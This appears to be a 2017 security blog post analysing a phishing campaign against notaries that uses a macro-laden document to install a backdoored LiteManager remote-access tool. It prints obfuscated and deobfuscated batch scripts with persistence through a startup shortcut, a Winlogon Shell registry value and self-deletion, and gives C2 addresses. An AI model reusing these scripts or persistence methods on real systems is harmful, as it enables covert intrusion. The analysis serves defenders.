“BLACK” NOTARIES CASE”

2017-05-04

Following the changes in the "state" IT sphere (thanks they are taking place), we have noticed some tendency to falsely exclude the risk of compromising user’s computers resources from the designed system threat model. This leads to the idea that authentication itself - a verification

procedure – may be compromised because in order to access well protected data, one does not have to conquer a "fortress" but only to compromise the device which is technologically designed to provide such an access.

Generally, there are several authentication factors based on what:

 - we know (password)

 - we have (token)

 - we are (biometrics)

 

However, the first two factors do not authenticate the person but the device that is a computer, a phone, which a person works on. The token and password are processed by a device what means that they can be known not only to the legitimate user but also to those who have unauthorized access to the device. Whatever it sounds, but such "one-sidedness" makes the notion of authorship very uncertain - you can insist that it was you who did something or, on the contrary, deny your authorship, referring to the imperfection of this approach, which has been proved in practice.

That is why those guys, who aimed at the state registers (fig. 1), directed the vector of attack on the notaries’ computers, taking advantage that there is a human factor (that is, its weaknesses) to get access to them [registers].

 

Fig.1

Before we proceed with the technical part, I would like to note that we have studied a number of news resources that discussed this trend. Given the threat model, and taking into account the peculiarity of the registers using process itself, the following solutions can be considered:

1. To build a separate network for the communication between notaries’ work places and registers.

With such an option, a notary will only have access to the registers - no Internet, no e-mail, even no ... "flash drives" (since all possible access channels need to be blocked). Most likely, such an option is hardly acceptable - there arise tons of questions at once: “How the notary must upload / download documents from the system (is it convenient?)”, “Who and how can control that no third-party carriers such as 3G -modems, other Internet access devices get connected to the computer”.

2. Use the second factor to confirm the actions of the notary.

There may also be several options here – to use a special Nokia 3310 phone that supports SMS to confirm a specific notary action, or to use a mobile application, with which the details of the operation will be verified by the notary. In both cases, the process becomes safer and more authentic, but in the latter, there is a risk of compromising the smartphone with the mobile app.

The current situation suggests that one need to think about the information security of the workplace and / or the computer network of the notary (the considered vector of attack is the most common). Also, one should not forget about personal data that are processed and / or stored in large volumes on the computers of notaries, in their electronic mailboxes (@ mail.ru, @ yandex.ru, @ gmail.com, etc.).

The following is a brief analysis of one of such incidents.

So, in the best traditions, having found many notaries’ email addresses in the Internet, the attackers make a mailout with a fake sender address, which is a lure document (Figure 2) with a macro attached.

 

fig. 2 

 

When a malicious document is opened, a user sees a very familiar pic, asking to activate the macro (Figure 3), after which, if the user falls under the "macro-temptation", the document will slightly change, and become more similar to the legitimate one (Fig. 4).

 

fig. 3 

fig. 4 

 

In fact, this simple macro, built-in in the document, will ensure the "% TMP% \ script.js"  JScript's creation on the victim’s computer, the contents of which will be taken from the "B3" cell of the XLS document. An example of a macro and an example of the contents of the "B3" cell are shown in Fig. 5-6.

 

Fig. 5

Fig. 6 

 

 

Jscript, now created in the system, will download a malicious file from the Internet that is SFX CAB archive and having renamed "193.jpg" to "run.exe", will save it in the directory "% TMP%". As a result, the macro will run the downloaded file. Next we take "a nest doll" apart.

Downloaded CAB archive, which can be opened with 7-Zip, contains 2 pieces: «poi.exe»-a file packed by Inno Setup (that’s why it’s got 0/0 detects at VirusTotal) and «tero.bat» which is an obfuscated .bat file designed to unpack and start «poi.exe» (see an example below).

set OErKybay=set
%OErKybay% AWlBrXx= 
%OErKybay%%AWlBrXx%RRTkGFiE==
%OErKybay%%AWlBrXx%RGPy%RRTkGFiE%a
%OErKybay%%AWlBrXx%tctS%RRTkGFiE%Q
%OErKybay%%AWlBrXx%jGTuX%RRTkGFiE%l
[…]
%lnSrpN%%sWdxayhoV%%pNtG%%fOBMeVJqb%%wJsWGXqV%%AWlBrXx%%HXkKmb%%azyjm%%azyjm%
%jejhHgEpv%%DgbBa%%UHeFwkt%%CMIsIp%%AWlBrXx%%ULUsrw%%UHeFwkt%%AWlBrXx%%aESwc%%AWlBrXx%%CMIsIp%%wJsWGXqV%%wJsWGXqV%%CMIsIp%%jGTuX%%JSSfFyw%%kIHRCx%%pNtG%%wJsWGXqV%%hIkbYTC%|%Gszfk%%DgbBa%%UHeFwkt%%yHxn%%AWlBrXx%%SWActtC%%LDxpA%%AWlBrXx%%IDycn%%FETNLrpj%%FETNLrpj%%sublQpeiQ%%RRTkGFiE%%IDycn%||%CMIsIp%%wJsWGXqV%%CxMis%%wJsWGXqV%%AWlBrXx%%UHeFwkt%%JSSfFyw%%OxGFrD%%CxMis%%AWlBrXx%

 

If you turn “tero.bat” into a readable form, you will get the following code (the code is shortened due to its redundancy).

 

@Echo Off ping -n 2 google.com|Find /I "TTL="||goto next taskkill /f /im ctfmon.exe taskkill /f /im ctfmon.exe [...] poi.exe /verysilent /Password=345465122345 ping localhost -1O del %0 > nul goto 1 :next [...] del poi.exe del poi.exe del %0 > nul :1 Exit


Using the password above, as well as the innounp utility, we obtain the file content.


C:\>innounp.exe -v -x -p345465122345 poi.exe ; Version detected: 5500 (Unicode) #0 {app}\avicap32.dll Reading slice C:\poi.exe #1 {app}\ctfmon.exe #2 {app}\test.bat #3 {app}\test.vbs #4 install_script.iss


If we pay attention to the «install_script.iss» content, then we’ll see that the files will be installed into the directory «% AppData% \ MicrocoftUpdate» and the script «test.vbs» will be done first, and then in its turn, it will start another obfuscated .bat file which is «test.bat». In the list below, you can see the de-obfuscated file “test.bat”. 

tasklist | find "AvastUI.exe"
if errorlevel 1 goto NoRecord
cd "%appData%\MicrocoftUpdate\"
del sendok.txt
del poi.exe
@mshta vbscript:Execute("Set x=CreateObject(""WScript.Shell""):Set
y=x.CreateShortcut(x.SpecialFolders(""Startup"")+""\WinUpdate.lnk""):y.TargetPath=""%~dp0ctfmon.exe"":y.Save():Close()")
del %0 > nul
goto Done
:NoRecord
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows
NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d
"%appData%\MicrocoftUpdate\ctfmon.exe , explorer.exe"  /f
cd "%appData%\MicrocoftUpdate\"
del sendok.txt
del poi.exe
start ctfmon.exe
del %0 > nul
:Done

This script provides the "ctfmon.exe" file persistence. If a process known as "AvastUI.exe" is detected among computer processes (probably if the Avast! AV protection tool is running), then the persistence is achieved by creating a shortcut named "WinUpdate.lnk" with "% AppData% \ MicrocoftUpdate \ ctfmon.exe. " way in the startup directory.

 

If the process with such a name is not found, the persistence will be ensured by creating the "Shell" parameter in the Windows registry key "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon" with the "% appData% \ MicrocoftUpdate \ ctfmon." exe, explorer.exe » value.  

 

As a result of the malware basic dynamic analysis it was determined that an additional service is created on the computer, which also provides the "ctfmon.exe" file autostart. To do so, a key "HKLM \ System \ ControlSet001 \ Services \ ROMSERVICE_SUPPORT" with the "ImagePath" parameter that has the value of "% AppData% \ Roaming \ MicrocoftUpdate \ ctfmon.exe." is created in the Windows registry. The program causes a number of Windows registry modifications but we will not specify all of them.

Consequently, the culprit is the "ctfmon.exe" file, which is potentially dangerous to the LiteManager remote administration software, version 4.7.2.2.

Once launched, the malware initiates TCP-based interaction with the 91.240.86.200:5650 management server. The server sends the address of one of the nodes (188.17.157.8:8080), through which the interaction between the infected computer and the attacker will be established (Figure 7). This is the prerogative of one of the supported LiteManager connection options, in this case, the NOIP connection (in short, an attacker will not directly work with an infected computer).

 


 


fig. 7 

In addition, the malware also initiates a connection to the rmansys.ru server with the help of which, an attacker receives to the e-mail ([email protected]) a notification of a successful LiteManager installation to the attacked computer. (Figure 8).

 

fig. 8 

 

Once LiteManager is successfully installed to a victim's computer, the attacker has a remote unauthorized access to it with all the consequences, as the LiteManager functionality is quite diverse. In fig. 9, you can see a screenshot made by the malware.

 


 

fig. 9 

 

In order to verify the LiteManager program infection, we recommend using the following set of IOC. In case of necessity to obtain advice and guidance, ensure a threat monitoring process, etc., please contact us by the Contacts indicated on our site.